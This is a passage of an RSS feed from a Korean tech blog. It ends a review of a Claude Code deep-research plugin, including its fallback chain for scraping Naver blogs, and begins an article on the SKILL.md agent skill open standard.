&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;README 영문 통일, 로컬 저장 이점 설명 보강&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;1.1.0&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;2026-02-25&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;CCPS v2.0 플러그인 표준 리팩토링&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;2.0.0&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;2026-02-28&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;7단계 멀티에이전트 파이프라인, 구조화된 보고서 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;2.1.0&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;2026-03-10&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;버그수정: &lt;code&gt;AskUserQuestion&lt;/code&gt;을 &lt;code&gt;allowed-tools&lt;/code&gt;에서 제거 (자동승인 시 UI 미표시 버그)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;2.2.0 ★&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;2026-03-16&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Tier 2.5 폴백 전략 (6단계 체인): 모바일 UA curl, RSS, OGP 메타, Google 캐시/Wayback, curl_cffi, Playwright MCP. Tier 1에 Perplexity MCP 추가&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6: 실제 활용 시나리오 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 실제 활용 시나리오&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;한국 기술 트렌드 리서치&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;국내 개발자들의 실제 경험이 담긴 네이버 블로그 포스트를 공식 문서와 함께 수집할 수 있다. 예를 들어, 특정 라이브러리의 한국어 사용 사례나 국내 클라우드 서비스 실사용 후기를 자동으로 모아 분석할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;예시 명령어&lt;/b&gt;&lt;br /&gt;
&lt;div style=&quot;margin-top: 10px; background-color: #1e1e1e; color: #d4d4d4; padding: 12px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; border: 1px solid #333; overflow-x: auto;&quot;&gt;&lt;code&gt;딥리서치 2026년 국내 AI 코딩 도구 실사용 트렌드&lt;/code&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;기술 의사결정 지원&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;새 기술 도입 전, 국내외 사례를 종합적으로 수집한다. 영문 공식 문서(Tier 2 WebFetch)와 국내 실사용 후기(Tier 2.5 네이버 블로그 RSS)를 동시에 가져와 비교 분석 보고서를 자동 생성한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;경쟁 분석 리서치&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;국내 서비스의 사용자 리뷰, 커뮤니티 반응, 기술 블로그 포스트를 자동 수집한다. 네이버 블로그, 티스토리, 브런치까지 한 번에 커버할 수 있게 됐다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실전 적용 팁&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Perplexity MCP를 설치하면 Tier 1이 작동해 네이버 블로그 접근이 더 안정적이다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;curl_cffi 설치(&lt;code&gt;pip install curl-cffi&lt;/code&gt;)는 Tier 2.5 Step 5 활성화를 위해 사전에 해두는 것이 좋다 (Python 3.10+ 필요)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Playwright MCP까지 설치하면 JS 렌더링이 필요한 대부분의 한국 웹사이트 접근이 가능해진다 (로그인&amp;middot;페이월 사이트 제외)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code&gt;/deep-research resume&lt;/code&gt;을 이용해 긴 리서치를 여러 세션에 나눠 진행할 수 있다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7: 한계점과 주의사항 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 한계점과 주의사항&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;100% 접근이 보장되지 않는다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;GPTaku 플러그인 개발자도 Threads에서 블로그&amp;middot;뉴스 접근이 이전보다 개선되었지만 100% 가져오지는 못한다는 취지의 글을 올린 바 있다. Tier 2.5 폴백이 모든 경우를 해결하지는 않는다.&lt;/p&gt;
&lt;/div&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;iframe 캐시 문제:&lt;/b&gt; 구글 캐시나 Wayback Machine도 네이버 블로그 iframe 구조에서는 실패할 수 있다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;페이월 콘텐츠:&lt;/b&gt; 유료 콘텐츠는 어떤 방법으로도 우회하지 않는다 (단, 대안 출처를 자동 검색)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Playwright MCP 의존성:&lt;/b&gt; Step 6은 Playwright MCP가 별도 설치되어야 사용 가능하다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;속도:&lt;/b&gt; 폴백 단계가 많을수록 전체 리서치 시간이 길어진다. Playwright MCP까지 내려가면 상당히 느려질 수 있다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;저작권 주의:&lt;/b&gt; 수집한 콘텐츠는 연구&amp;middot;분석 목적으로만 사용해야 하며, 그대로 재배포해서는 안 된다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;로그인 필요 콘텐츠:&lt;/b&gt; 네이버 블로그 중 비공개 또는 성인 인증이 필요한 글은 접근이 불가하다&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8: 커뮤니티 반응 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 커뮤니티 반응&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Threads: &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;@gptaku_ai&lt;/b&gt;&lt;/span&gt; 최근 활동&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GPTaku 운영자(&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;code&gt;@gptaku_ai&lt;/code&gt;&lt;/span&gt;&lt;/b&gt;)는 Threads에서 꾸준히 활동 중이다. 이번 주 가장 눈에 띈 포스트는 deep-research가 아니라 Claude Code 에이전트 팀즈용 팀빌딩 플러그인(&lt;code&gt;kkirikkiri&lt;/code&gt;) 공개였다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.threads.com/@gptaku_ai?hl=ko&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.threads.com/@gptaku_ai?hl=ko&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1773931402565&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;profile&quot; data-og-title=&quot;스레드 클코대장 지피타쿠님(@gptaku_ai) &amp;bull; Threads, 자유로운 소통 공간&quot; data-og-description=&quot;팔로워 1.6만명 &amp;bull; 스레드 921개 &amp;bull;   gptaku@axwith.com. @gptaku_ai님과의 최근 대화를 확인해보세요.&quot; data-og-host=&quot;www.threads.com&quot; data-og-source-url=&quot;https://www.threads.com/@gptaku_ai?hl=ko&quot; data-og-url=&quot;https://www.threads.com/@gptaku_ai&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/uP7TX/dJMb8TB8HCf/PM0bN9UKK9ugpbEqwmPDnk/img.jpg?width=640&amp;amp;height=640&amp;amp;face=0_0_640_640,https://scrap.kakaocdn.net/dn/ldfs7/dJMb8RRQZIp/u89grwR0pCsuoqvsfZzAC0/img.jpg?width=640&amp;amp;height=640&amp;amp;face=0_0_640_640&quot;&gt;&lt;a href=&quot;https://www.threads.com/@gptaku_ai?hl=ko&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.threads.com/@gptaku_ai?hl=ko&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/uP7TX/dJMb8TB8HCf/PM0bN9UKK9ugpbEqwmPDnk/img.jpg?width=640&amp;amp;height=640&amp;amp;face=0_0_640_640,https://scrap.kakaocdn.net/dn/ldfs7/dJMb8RRQZIp/u89grwR0pCsuoqvsfZzAC0/img.jpg?width=640&amp;amp;height=640&amp;amp;face=0_0_640_640');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;스레드 클코대장 지피타쿠님(@gptaku_ai) &amp;bull; Threads, 자유로운 소통 공간&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;팔로워 1.6만명 &amp;bull; 스레드 921개 &amp;bull;   gptaku@axwith.com. @gptaku_ai님과의 최근 대화를 확인해보세요.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.threads.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 15px; border-left: 4px solid #6c757d; margin: 20px 0; border-radius: 0 8px 8px 0; font-style: italic;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;클로드코드 에이전트 팀즈 얘기는 들어봤는데 어떻게 써야 하는지는 제대로 모르는 사람들이 많은것 같더라. 그래서 준비했어!! 끼리끼리 원하는 팀을 만들어주는 팀 빌딩 플러그인이야.&quot;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0 0; font-size: 13px; color: #6c757d;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;mdash; @gptaku_ai, Threads (2026년 3월 중)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9: 결론 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;솔직히 말하면, v2.2.0이 네이버 블로그를 항상 뚫는다고 기대하면 곤란하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;개발자 본인도 Threads에서 &quot;이전보다 많이 개선됐지만 100%는 아니다&quot;라고 밝혔다. &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;그럼에도 6단계 폴백 체인 구조 자체는 꽤 합리적이다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;모바일 UA &amp;rarr; RSS &amp;rarr; OGP 메타 &amp;rarr; 캐시 &amp;rarr; TLS 우회 &amp;rarr; 브라우저 자동화 순서는 사실 단순한 원칙이다: 느린 방법은 최후의 수단으로 미뤄두고, 빠른 걸 먼저 써본다. 특별히 영리한 건 아닌데, 그냥 잘 작동하도록 만들어진 구조다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한국어 기술 정보 중 상당 부분이 아직도 네이버 블로그에 있다. 영문 공식 문서 위주로 돌아가던 AI 리서치에 국내 개발자 후기와 한국어 튜토리얼이 더 많이 들어오게 된 건 분명한 변화다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 30px 0;&quot;&gt;&lt;b&gt;핵심 요약&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;설치:&lt;/b&gt; &lt;code&gt;/plugin marketplace add https://github.com/fivetaku/gptaku_plugins.git&lt;/code&gt; &amp;rarr; &lt;code&gt;/plugin install deep-research&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;사용:&lt;/b&gt; &lt;code&gt;/deep-research [주제]&lt;/code&gt; 또는 한국어 트리거 &lt;code&gt;딥리서치 [주제]&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;네이버 블로그:&lt;/b&gt; 모바일 URL + iPhone UA가 기본 전략, RSS 피드가 백업&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;더 강력하게:&lt;/b&gt; Perplexity MCP(Tier 1) + Playwright MCP(Tier 2.5 Step 6) 설치 권장&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;주의:&lt;/b&gt; 모든 접근이 100% 성공하지는 않으며, 별도 크롤링이 필요한 케이스도 있다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/WritenAI : AI 글쓰기</category>
      <category>AI 리서치 자동화</category>
      <category>claude code 플러그인</category>
      <category>curl_cffi</category>
      <category>deep-research v2.2.0</category>
      <category>GPTaku</category>
      <category>playwright mcp</category>
      <category>네이버 블로그 크롤링</category>
      <category>딥리서치 플러그인</category>
      <category>멀티에이전트 파이프라인</category>
      <category>한국어 AI 리서치</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/554</guid>
      <comments>https://goddaehee.tistory.com/554#entry554comment</comments>
      <pubDate>Thu, 19 Mar 2026 23:45:36 +0900</pubDate>
    </item>
    <item>
      <title>Agent Skill 오픈 표준(Claude Skills는 Claude 전용이 아니다) - SKILL.md 하나로 Claude, Cursor, Copilot, Gemini 전부 쓰는 방법</title>
      <link>https://goddaehee.tistory.com/553</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희입니다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1168&quot; data-origin-height=&quot;784&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dn4rhL/dJMcaaYTHpB/eoKjeunZ7ZsI6CYqbNjgj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dn4rhL/dJMcaaYTHpB/eoKjeunZ7ZsI6CYqbNjgj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dn4rhL/dJMcaaYTHpB/eoKjeunZ7ZsI6CYqbNjgj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdn4rhL%2FdJMcaaYTHpB%2FeoKjeunZ7ZsI6CYqbNjgj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1168&quot; height=&quot;784&quot; data-origin-width=&quot;1168&quot; data-origin-height=&quot;784&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AI 도구를 새로 바꿀 때마다 이런 생각 해본 적 있지 않나? &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&quot;Claude Code에서 공들여 만든 커스텀 설정, Cursor로 넘어가면 다시 처음부터 만들어야 하나?&quot;&lt;/b&gt;&lt;/span&gt; 아니면 팀원이 Copilot을 쓰고 나는 Gemini CLI를 쓰는데, 같은 코딩 컨벤션 스킬을 각자 따로 관리하고 있지 않나?&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Claude Skills는 Claude Code 전용이겠지?&quot;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;아니다. &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Agent Skill(SKILL.md)은 Claude, Codex, Gemini, Cursor, Copilot 등 어디서나 작동하는 크로스플랫폼 오픈 표준&lt;/b&gt;&lt;/span&gt;이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2025년 12월에 오픈 표준으로 공개된 이 규격은 현재 &lt;b&gt;32개 이상의 AI 에이전트&lt;/b&gt;에서 공식 지원받고 있다. 한 번 만들어두면 Claude Code에서도, Cursor에서도, GitHub Copilot에서도 그대로 쓸 수 있다는 뜻이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;오늘은 Agent Skill 표준의 탄생 역사부터 SKILL.md 스펙, 크로스플랫폼 지원 현황, 주목할 스킬 6가지, 그리고 5분 만에 나만의 스킬을 만드는 방법까지 빠짐없이 정리한다. 지금 쓰는 에이전트가 무엇이든 바로 적용할 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2620&quot; data-origin-height=&quot;1444&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NZd6I/dJMcabKryDJ/hoZOuoqh7zhFAcSGcmmDO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NZd6I/dJMcabKryDJ/hoZOuoqh7zhFAcSGcmmDO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NZd6I/dJMcabKryDJ/hoZOuoqh7zhFAcSGcmmDO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNZd6I%2FdJMcabKryDJ%2FhoZOuoqh7zhFAcSGcmmDO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2620&quot; height=&quot;1444&quot; data-origin-width=&quot;2620&quot; data-origin-height=&quot;1444&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;!-- 핵심 요약 박스 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px 25px; border-radius: 12px; border: 2px solid #b3d9ff; margin: 0 0 30px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-weight: bold; color: #0066cc; font-size: 16px;&quot; data-ke-size=&quot;size16&quot;&gt;오늘 정리해볼 것들&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Agent Skill 오픈 표준의 탄생 역사&lt;/b&gt; &amp;mdash; Anthropic &amp;rarr; 오픈 표준 공개까지&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;SKILL.md 완전 스펙&lt;/b&gt; &amp;mdash; frontmatter, 디렉토리 구조, Progressive Disclosure 3단계&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;32개+ 플랫폼 설치 경로&lt;/b&gt; &amp;mdash; Claude, Codex, Gemini, Cursor, Copilot 등 정확한 경로&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;주목할 스킬 6가지&lt;/b&gt; &amp;mdash; Frontend Design, Planning with Files, Superpowers, Humanizer, MCP Builder, Dev-Browser&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;처음 만드는 SKILL.md 템플릿&lt;/b&gt; &amp;mdash; 복붙해서 바로 쓸 수 있는 최소 예시&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;스킬 찾는 곳 3가지&lt;/b&gt; &amp;mdash; skills.sh, anthropics/skills, agentskills.io&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;실제 사용 시나리오 3가지&lt;/b&gt; &amp;mdash; 에이전트 이전, 팀 공유, Before/After 비교&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;흔한 함정 4가지&lt;/b&gt; &amp;mdash; 토큰 낭비, 경로 혼란, description 모호함, name 규칙 위반&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section1&quot;&gt;Agent Skill이란? &amp;mdash; Claude 전용이 아니다&lt;/a&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;흔한 오해 깨기&lt;/li&gt;
&lt;li&gt;오픈 표준의 탄생 역사 (2025-12 공개)&lt;/li&gt;
&lt;li&gt;현재 생태계 규모&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section2&quot;&gt;SKILL.md 완전 스펙&lt;/a&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;디렉토리 구조&lt;/li&gt;
&lt;li&gt;Frontmatter 필드 정의&lt;/li&gt;
&lt;li&gt;Progressive Disclosure 3단계&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section3&quot;&gt;크로스플랫폼 지원 현황&lt;/a&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;32개+ 공식 지원 플랫폼&lt;/li&gt;
&lt;li&gt;플랫폼별 설치 경로&lt;/li&gt;
&lt;li&gt;표준 경로 ~/.agents/skills/&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section4&quot;&gt;주목할 스킬들&lt;/a&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Frontend Design&lt;/li&gt;
&lt;li&gt;Planning with Files&lt;/li&gt;
&lt;li&gt;Superpowers&lt;/li&gt;
&lt;li&gt;Humanizer&lt;/li&gt;
&lt;li&gt;MCP Builder&lt;/li&gt;
&lt;li&gt;Dev-Browser / Superpowers-Chrome&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section5&quot;&gt;스킬 직접 만들기&lt;/a&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;최소 예시 (복붙 가능)&lt;/li&gt;
&lt;li&gt;작성 팁 5가지&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section6&quot;&gt;스킬 찾는 곳&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section7&quot;&gt;실제 사용 시나리오 3가지&lt;/a&gt;
